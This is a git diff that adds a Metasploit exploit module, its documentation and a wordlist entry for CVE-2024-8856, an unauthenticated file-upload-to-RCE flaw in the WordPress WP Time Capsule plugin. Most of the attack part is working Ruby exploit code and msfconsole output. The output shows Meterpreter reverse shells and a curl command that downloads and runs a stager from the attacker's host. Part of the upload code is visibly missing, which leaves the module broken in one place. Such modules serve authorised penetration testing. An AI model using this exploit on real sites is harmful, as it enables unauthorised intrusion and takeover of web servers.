diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 06c651ac4beb..1ab92752ab4e 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -67,4 +67,5 @@ ultimate-member wp-fastest-cache post-smtp really-simple-ssl -perfect-survey \ No newline at end of file +perfect-survey +wp-time-capsule diff --git a/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md new file mode 100644 index 000000000000..5ac807aa079f --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +This Metasploit module exploits a Remote Code Execution vulnerability in the WordPress WP Time Capsule plugin, versions <= 1.22.21. +The vulnerability arises from an unauthenticated arbitrary file upload flaw due to improper validation logic in the plugin. + +To replicate a vulnerable environment for testing: + +1. Install WordPress using the provided Docker Compose configuration. +2. Download and install the [WP Time Capsule plugin v1.22.21](https://downloads.wordpress.org/plugin/wp-time-capsule.1.22.21.zip). +3. Verify that the plugin is activated and accessible on the local network. +4. Register for a WP Time Capsule account and connect the plugin to an external storage system (e.g., Google Drive, Dropbox). +5. Access `wp-admin/admin.php?page=wp-time-capsule-settings#wp-time-capsule-tab-advanced` to enable the **file upload functionality** +by clicking **"Click here to show upload options"**. +This action triggers the `prepare_file_upload_index_file_wptc` function, which creates the required `index.php` file +in the `/wp-tcapsule-bridge/upload/php/` directory, making the issue exploitable. + +## Docker Compose Configuration + +```yaml +version: '3.1' + +services: + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: root + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 8G + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: root + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create a `custom.ini` file with the following content: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Verification Steps + +1. Set up a WordPress instance with the WP Time Capsule plugin (version 1.22.21) using the provided `docker-compose.yml`. +2. Launch `msfconsole` in your Metasploit framework. +3. Use the module: `use exploit/multi/http/wp_time_capsule_file_upload_rce`. +4. Set `RHOSTS` to the IP address or hostname of the target. +5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`. +6. Execute the exploit using the `run` or `exploit` command. +7. If the target is vulnerable, the module will execute the specified payload and return a session. + +## Options + +No additional options are required beyond the default ones provided in Metasploit. + +## Scenarios + +### Successful Exploitation Against WordPress with WP Time Capsule 1.22.21 + +**Setup**: + +- Local WordPress instance with WP Time Capsule version 1.22.21. +- Metasploit Framework. + +**Steps**: + +1. Start `msfconsole`. +2. Load the module: +```bash +use exploit/multi/http/wp_time_capsule_file_upload_rce +``` +3. Set `RHOSTS` to the target's IP (e.g., `172.18.0.3`). +4. Configure other necessary options (e.g., `TARGETURI`). +5. Launch the exploit: +```bash +exploit +``` + +**Expected Results**: + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt +[*] Found version 1.22.21 in the plugin +[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. +[*] Uploading payload: rJ.php with MIME type: message/http... +[+] Payload uploaded successfully. Parsing response... +[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/rJ.php +[*] Sending stage (40004 bytes) to 172.18.0.3 +[+] Deleted rJ.php +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:42434) at 2024-12-11 00:48:18 +0100 + +meterpreter > sysinfo +Computer : 0bd3f3b7102e +OS : Linux 0bd3f3b7102e 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```plaintext +msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 + +[*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi & +[*] Fetch handler listening on 192.168.1.36:8080 +[*] HTTP server started +[*] Adding resource /LoPlnjEpeOexZNVppn6cAA +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/wp-time-capsule/readme.txt +[*] Found version 1.22.21 in the plugin +[+] The target appears to be vulnerable. WP Time Capsule plugin appears to be vulnerable. +[*] Uploading payload: Ps.php with MIME type: application/zip... +[+] Payload uploaded successfully. Parsing response... +[*] Triggering the payload at: http://172.18.0.3/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/files/Ps.php +[*] Client 172.18.0.3 requested /LoPlnjEpeOexZNVppn6cAA +[*] Sending payload to 172.18.0.3 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.18.0.3 +[+] Deleted Ps.php +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50396) at 2024-12-11 01:06:52 +0100 + +meterpreter > sysinfo +Computer : 172.18.0.3 +OS : Debian 11.8 (Linux 5.15.0-126-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb new file mode 100644 index 000000000000..13b9b8be8988 --- /dev/null +++ b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Payload::Php + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin + (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote + code execution (RCE). + + The validation logic in the vulnerable function improperly checks for allowed extensions. + If no valid extension is found, the check can be bypassed by using a filename of specific length + (e.g., "00.php") matching the length of allowed extensions like ".crypt". + }, + 'Author' => [ + 'Valentin Lobstein', # Metasploit module + 'Rein Daelman' # Vulnerability discovery + ], + 'References' => [ + ['CVE', '2024-8856'], + ['URL', 'https://hacked.be/posts/CVE-2024-8856'], + ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => %w[php unix linux win], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP In-Memory', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + # tested with php/meterpreter/reverse_tcp + } + ], + [ + 'Unix/Linux Command Shell', { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-11-15', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + end + + def php_exec_cmd(encoded_payload) + dis = '$' + Rex::RandomIdentifier::Generator.new.generate + b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) + shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} + $cmd = base64_decode("#{b64_encoded_payload}"); + #{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} + END_OF_PHP_CODE + + return Rex::Text.compress(shell) + end + + def check + return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? + + plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22') + case plugin_check.code + when 'appears' + return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.') + when 'safe' + return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.') + end + + CheckCode::Unknown('No vulnerable plugins were detected.') + end + + def exploit + base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php') + upload_path = normalize_uri(base_path, 'index.php') + + # Generate random filename matching constraints (6 characters total, ending in .php) + filename_prefix = Rex::Text.rand_text_alphanumeric(2) + payload_name = "#{filename_prefix}.php" + + random_mime_type = Faker::File.mime_type + + phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) + b64_payload = ' 'POST', + 'uri' => upload_path, + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, + 'data' => mime.to_s + ) + + unless res&.code == 200 + fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload') + end + + vprint_good('Payload uploaded successfully. Parsing response...') + + json_response = res.get_json_document + url = json_response.dig('files', 0, 'url') + + fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil? + + vprint_status("Triggering the payload at: #{url}") + send_request_cgi( + 'method' => 'GET', + 'uri' => URI(url).path + ) + end +end